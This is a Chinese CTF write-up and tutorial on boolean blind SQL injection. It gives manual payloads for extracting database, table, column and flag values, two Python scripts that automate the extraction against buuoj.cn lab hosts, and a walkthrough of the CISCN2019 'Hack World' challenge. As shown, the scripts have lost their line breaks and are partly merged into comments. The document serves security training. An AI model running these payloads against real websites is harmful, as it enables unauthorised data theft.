知识点
原理:通过发送不同的SQL查询来观察应用程序的响应,进而判断查询的真假,并逐步推断出有用的信息
适用情况:一个界面存在注入,但是没有显示位,没有SQL语句执行错误信息,通常用于在无法直接获得查询结果的情况下推断数据库信息(比如像今天这题一样很多关键字都被禁用了)
手动输入解题步骤:
1.判断注入点及注入类型:
若为整型注入:
1 and 1=1 //正常回显
1 and 1=2 //无回显
若为字符型注入(同时判断是单引号型注入还是双引号型):
1’ and 1=1 # //正常回显
1' and 1=2 # //无回显
或
1" and 1=1 # //正常回显
1" and 1=2 # //无回显
也有一些题会把后面的#换成--+,两种构造方式都是为了避免原SQL语句后续部分对注入构造的干扰
#主要适用于MySQL数据库,在其他数据库中使用可能会导致语法错误
--是标准SQL的单行注释符
e.g.
注入id=1 and 1 = 1--+和id=1 and 1 = 2--+,回显正常,排除数字型注入
注入id=1' and 1 = 1--+也正常,但是当注入id=1' and 1 = 2--+时,回显如下,说明是字符型注入,单引号闭合
2.推测数据库信息
(1)推测数据库名长度
(2)得到数据库名
函数:database()返回数据库名,length()获取字符串长度
select length(database());
当测试语句输入的过程中有不一样的,就说明得到了正确的数据库名长度,一般在输入到3或4就会得到数据库名长度了
爆长度:
法一:
1' and length(database()) =1 #
1' and length(database()) =2 #
1' and length(database()) =3 #
1' and length(database()) =4 #
……
法二:
length(str) //返回str字符串的长度。
1 and length(database())=4 //判断数据库名字的长度是否为4
1 and length(database())>4 //判断数据库名字长度是否大于4
e.g.
判断得到数据库名的长度为4
爆库名:
函数:ascii()返回字符的ASCII码,substr(str,start,length)返回字符串从str的start开始往后截取length长度的字符
1 and substring(database(),1,1)='q' //判断数据库第一个字母是否为q
1 and substring(database(),2,1)='q' //判断数据库名字第二个字母是否为q
mid(str,pos,len) //跟上面的用法一模一样,截取字符串
3.爆表
(1)表数量
1 and (select count(table_name) from information_schema.tables where table_schema=database())=1
1 and (select count(table_name) from information_schema.tables where table_schema=database())=2
1 and (select count(table_name) from information_schema.tables where table_schema=database())=3
1 and (select count(table_name) from information_schema.tables where table_schema=database())=4
……
(2)根据库名和表数量爆表名长度
limit i,1
i从0开始(第i+1张表)
e.g.
第一张表表名长度:
?id=1 and length(select table_name from information_schema.tables where table_schema=database() limit 0,1)=1
……
?id=1 and length(select table_name from information_schema.tables where table_schema=database() limit 0,1)=4
第二张:
?id=1 and length(select table_name from information_schema.tables where table_schema=database() limit 1,1)=1
……
?id=1 and length(select table_name from information_schema.tables where table_schema=database() limit 1,1)=4
(3)根据表名长度爆表名
substr((select…limit i,1),j,1)
i从0开始(第i+1张表),j从1开始(第j个字符)
再大循环i次(遍历所有表),内嵌循环j次(表名的所有字符),i是表下标-1,j是字符下标,再内嵌循环k从a到z(假设表名全是小写英文字符)尝试获取每个表的表名
4.爆列
(1)爆列数量
和爆表数量一样
(2)根据表名和列数量爆列名长度
操作同对当前库爆表名长度的步骤,i是列标-1
limit i,1
i从0开始(第i+1列)
(3)爆列名
i是列标-1,j是字符下标
substr((select…limit i,1),j,1))
i从0开始(第i+1列),j从1开始(第j个字符)
5.爆数据
flag有固定的格式,以右花括号结束,假设flag有小写英文字母、下划线、花括号构成,由于不知道flag长度,要一个无限循环,定义计数符j,内嵌循环i遍历小写、下划线和花括号,匹配到字符后j++,出循环的条件是当前i是右花括号,即flag结束
substr((select…),j,1)
j从1开始(flag的第j个字符)
脚本
手工布尔盲注通常比较麻烦,也可以选择写个脚本来进行自动化突破
找了一个写得比较好的脚本
import requests as re# 设置需要sql注入的网站
url = 'http://cbbacb03-13d3-4374-8fef-7da0e51dbbb1.node5.buuoj.cn:81/index.php'# 提前做好接受flag的变量
flag = ''# 循环函数
for i in range(1, 1000):print(f'{i}:\n')# 这里设置最大值和最小值使用二分化的方法跑效率比一般的快超级多high = 128low = 30# 这里设置循环函数,如果最大值小于最小值那么退出while low <= high:mid = (low + high)//2# 爆库名# sql1 = f'1^(ascii(substr((select(group_concat(schema_name))from(information_schema.schemata)),{i},1))={mid})^1'# sql2 = f'1^(ascii(substr((select(group_concat(schema_name))from(information_schema.schemata)),{i},1))>{mid})^1'# sql3 = f'1^(ascii(substr((select(group_concat(schema_name))from(information_schema.schemata)),{i},1))<{mid})^1'# 爆表名# sql1 = f'1^(ascii(substr((select(group_concat(table_name))from(mysql.innodb_table_stats)where(table_schema=database())),{i},1))={mid})^1'# sql2 = f'1^(ascii(substr((select(group_concat(table_name))from(mysql.innodb_table_stats)where(table_schema=database())),{i},1))>{mid})^1'# sql3 = f'1^(ascii(substr((select(group_concat(table_name))from(mysql.innodb_table_stats)where(table_schema=database())),{i},1))<{mid})^1'# 爆字段名sql1 = f'1^(ascii(substr((select(flag)from(flag)),{i},1))={mid})^1'sql2 = f'1^(ascii(substr((select(flag)from(flag)),{i},1))>{mid})^1'sql3 = f'1^(ascii(substr((select(flag)from(flag)),{i},1))<{mid})^1'# 设置id值data1 = {'id': sql1}data2 = {'id': sql2}data3 = {'id': sql3}# 通过post传入参数然后给r1 r2 r3r1 = re.post(url=url, data=data1)r2 = re.post(url=url, data=data2)r3 = re.post(url=url, data=data3)# Hello出现在页面时说明是对的,输出flagif 'Hello' in r1.text:flag += chr(mid)print(flag)break# Hello出现在页面时说明flag的ascii值大于最小值和最大值的中间值,所以缩小范围到中间值到最大值,一步一步缩小找到flagif 'Hello' in r2.text:low = mid + 1# Hello出现在页面时说明flag的ascii值大于最小值和最大值的中间值,所以缩小范围到中间值到最大值,一步一步缩小找到flagif 'Hello' in r3.text:high = mid - 1continueprint(flag)
例题
[CISCN2019 华北赛区 Day2 Web1]Hack World
打开界面,提醒flag值在flag表的flag列中
输入数字1,2时,回显不同 ,直到输入3,后面的都一样
随便输入一个字母,回显都一样,提示类型错误,猜测为数字型注入
输入1'试试
尝试注入并查询
1 union select flag from flag
回显SQL注入检测,说明有东西被过滤了
看一下源代码,没有什么收获
用bp抓包再用fuzz字典爆破一下试试
从回显来看,length=535的字符全部被过滤了,包括union、select、extracvalue、updatexml、sleep等常见注入关键字,所以只能选择布尔盲注了
测试一下
1^1^1
1^0^1
这里用到的一个脚本参考了其他大佬的wp,但是因为运行的时候连接超时,所以做了适当延时
大致思路:(ascii(substr((select(flag)from(flag)),1,1))>32) 若成立,则会返回1,id=1时会回显出一段字符,根据是否回显,我们可以一个一个地将flag中的字符拆解出来
脚本:
import time
import requests
from requests.adapters import HTTPAdapter
from requests.packages.urllib3.util.retry import Retry# 配置重试机制
retry_strategy = Retry(total=3, # 最大重试次数backoff_factor=1, # 重试间隔时间的增长因子status_forcelist=[429, 500, 502, 503, 504], # 需要重试的 HTTP 状态码allowed_methods=["POST"] # 允许重试的 HTTP 方法
)
adapter = HTTPAdapter(max_retries=retry_strategy)
http = requests.Session()
http.mount("https://", adapter)
http.mount("http://", adapter)url = "http://f7cf7bbe-3b9b-4d11-ae04-7dd65d2fc943.node5.buuoj.cn:81/index.php"
result = ""
for i in range(1, 50):for j in range(32, 128):try:time.sleep(0.1) # 适当延时,避免给目标服务器造成过大压力payload = "(ascii(substr((select(flag)from(flag)),{m},1))>{n})"# 设置超时时间为 10 秒response = http.post(url=url, data={'id': payload.format(m=i, n=j)}, timeout=10)if response.text.find('girl') == -1:result += chr(j)print(j)breakexcept requests.exceptions.ConnectTimeout:print(f"请求超时,当前位置: {i}, 当前字符码: {j}")except requests.exceptions.RequestException as e:print(f"请求发生错误: {e}")print("正在注出flag:", result)
print("flag的值为:", result)